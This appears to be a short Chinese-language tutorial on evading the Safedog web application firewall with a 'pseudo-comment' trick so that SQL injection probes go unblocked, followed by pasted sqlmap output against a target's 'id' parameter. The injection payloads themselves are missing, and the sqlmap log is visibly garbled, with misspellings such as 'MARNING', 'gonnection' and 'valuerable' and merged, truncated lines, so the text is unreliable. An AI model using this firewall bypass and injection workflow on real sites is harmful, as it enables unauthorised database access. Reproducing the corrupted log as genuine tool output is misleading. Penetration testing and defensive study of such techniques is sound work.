注释符绕过 waf

在后面加上 order by 1 被安全狗拦截



WAF 会避免消耗大量内存去匹配危险函数,故会直接忽略"有效注释"中的内容,而攻击者可以构造不存在的参数来实现"伪注释"

这里我们构造



那么这里就无任何拦截了,可直接交给 sqlmap

```
no liability and are not responsible for any misuse or damage caused by this program

[10:30:37] [INFO] parsing HTTP request from '2.txt'
[10:30:37] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nb) AppleWebKit/522.13

Applications\sqlmap\txt\user-agents.txt'
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] N

[10:30:39] [INFO] testing connection to the target URL
[10:30:39] [INFO] testing gonnection to the target URL
[10:30:41] [INFO] testing if the target URL content is stable
[10:30:42] [MARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[10:30:43] [INFO] testing for SQL injection on GET parameter 'id' might not be injectable
[10:30:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:30:43] [INFO] testing 'GN boolean-based blind - WHERE or HAVING clause'
[10:30:57] [INFO] testing 'GN boolean-based blind - WHERE or HAVING clause'
[10:30:57] [INFO] testing 'Gn eneric UNION query (NULL) - 1 to 20 columns'
[10:30:57] [INFO] testing 'Gneric UNION query (NULL) - 1 to 20 columns'
[10:30:57] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (pot [10:30:57] [INFO] testing 'Gneric UNION query (NULL) - 1 to 20 columns'
[10:30:57] [INFO] target URL appears to have 35 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[10:35:02] [MARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookle' if you experienc [10:35:02] [MARNING] in OR boolean-based injection point on GET parameter 'id' is valuerable. Do you want to keep testing the others (famy)? [Y/N]
[10:35:02] [MARNING] in OR boolean-based injection point on GET parameter 'id' is a place positive
[10:35:11] [Wanning] in appears that the character '> is filtered by the back-end server. You are strongly advised to rerun to GET parameter 'id' is vul
```